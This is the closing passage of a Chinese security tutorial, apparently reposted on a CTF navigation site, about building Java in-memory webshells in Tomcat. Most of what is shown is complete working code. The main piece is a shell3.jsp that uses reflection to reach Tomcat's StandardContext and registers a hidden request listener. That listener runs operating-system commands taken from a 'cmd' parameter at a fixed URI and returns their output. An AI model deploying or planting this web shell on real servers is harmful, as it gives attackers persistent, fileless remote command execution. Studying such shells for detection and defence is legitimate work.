                        byteArrayOutputStream.write(myChunk, 0, i);
                    }
                    try {
                        Field response = httpServletRequest.getClass().getDeclaredField("response");
                        response.setAccessible(true);
                        Response responseO = (Response) response.get(httpServletRequest);
                        responseO.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
                    } catch (NoSuchFieldException e) {
                        throw new RuntimeException(e);
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    } catch (IllegalAccessException e) {
                        throw new RuntimeException(e);
                    }
                }
            }
            @Override
            public void requestInitialized(ServletRequestEvent servletRequestEvent) {}
        };
        servletContext.addListener(servletRequestListener);
        System.out.println("OK~");
    }
}

servletContext.addListener打上断点分析其过程:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术
Listener 内存马编写

准备shell3.jsp文件内容如下:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
    public class MyListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequestEvent.getServletRequest();
            String requestURI = httpServletRequest.getRequestURI();
            System.out.println(requestURI);
            if ("/heihu577".equals(requestURI)) {
                InputStream inputStream = null;
                try {
                    inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
                byte[] myChunk = new byte[1024];
                int i = 0;
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                while (true) {
                    try {
                        if (!((i = inputStream.read(myChunk)) != -1)) break;
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    }
                    byteArrayOutputStream.write(myChunk, 0, i);
                }
                try {
                    Field response = httpServletRequest.getClass().getDeclaredField("response");
                    response.setAccessible(true);
                    Response responseO = (Response) response.get(httpServletRequest);
                    responseO.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
                } catch (NoSuchFieldException e) {
                    throw new RuntimeException(e);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                } catch (IllegalAccessException e) {
                    throw new RuntimeException(e);
                }
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {

        }
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addListener 方法中的动态生成内存马的代码块...
    standardContext.addApplicationEventListener(new MyListener());
%>

访问shell3.jsp注入内存马, 最终运行结果:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

Ending…

当然了, 关于内存马的分类还有很多, 例如 Spring Controller 内存马, Spring Interceptor 内存马, Tomcat Valve 内存马原理以及如何查杀内存马等问题, 笔者将放在后续进行讲解…


原文始发于微信公众号(Heihu Share):深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

版权声明:admin 发表于 2024年10月13日 下午2:58。
转载请注明:深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术 | CTF导航

相关文章